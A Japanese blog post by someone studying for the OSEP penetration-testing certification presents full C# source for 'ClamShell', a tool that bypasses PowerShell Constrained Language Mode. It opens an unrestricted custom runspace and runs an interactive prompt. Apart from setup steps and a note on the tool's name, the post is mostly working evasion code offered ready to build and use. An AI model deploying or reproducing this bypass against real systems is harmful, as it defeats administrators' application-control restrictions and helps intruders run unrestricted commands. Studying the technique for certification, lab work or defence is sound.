#152 ClamShell
引き続き、OSEPの勉強してます。
以前、Constrained Language Modeのバイパス手法についてまとめました。
OSEPのラボで使う機会があったので、ツールにしてみました。まだちゃんとテストしてないですが、たぶん大丈夫でしょう。
ClamShell
まず、ReferencesからSystem.Management.Automationを追加してください。これは、以下のフォルダにあります。
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35
Program.cs
using System;
using System.IO;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace ClamShell
{
class Program
{
static void Main(string[] args)
{
Banner();
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
PSDataCollection<PSObject> output = new PSDataCollection<PSObject>();
output.DataAdded += Output_DataAdded;
ps.Streams.Error.DataAdded += Error_DataAdded;
while (true)
{
var a = ps.Commands;
String cd = Directory.GetCurrentDirectory();
Console.Write("CLAM {0}> ", cd);
String input = Console.ReadLine();
if (input == "exit")
{
break;
}
String cmd = input + " | Out-String";
ps.AddScript(cmd);
var result = ps.BeginInvoke<PSObject, PSObject>(null, output);
result.AsyncWaitHandle.WaitOne();
ps.Commands.Clear();
}
rs.Close();
}
private static void Banner()
{
Console.WriteLine("<> <> <> <> <> <>");
Console.WriteLine("<> <> ClamShell <> <>");
Console.WriteLine("<> <> <> <> <> <>");
Console.WriteLine("Powershell Constrained Language Mode Bypass");
}
private static void Output_DataAdded(object sender, DataAddedEventArgs e)
{
PSObject newRecord = ((PSDataCollection<PSObject>)sender)[e.Index];
Console.WriteLine(newRecord);
}
private static void Error_DataAdded(object sender, DataAddedEventArgs e)
{
string NORMAL = Console.IsOutputRedirected ? "" : "\x1b[39m";
string RED = Console.IsOutputRedirected ? "" : "\x1b[91m";
ErrorRecord newRecord = ((PSDataCollection<ErrorRecord>)sender)[e.Index];
Console.Error.WriteLine(RED + newRecord + NORMAL);
}
}
}
ビルドすれば、すぐ使えます。
ちなみに、ClamShellという名前は、「Constrained Language Mode Shell」とハマグリの殻(Clam Shell)をもじってます。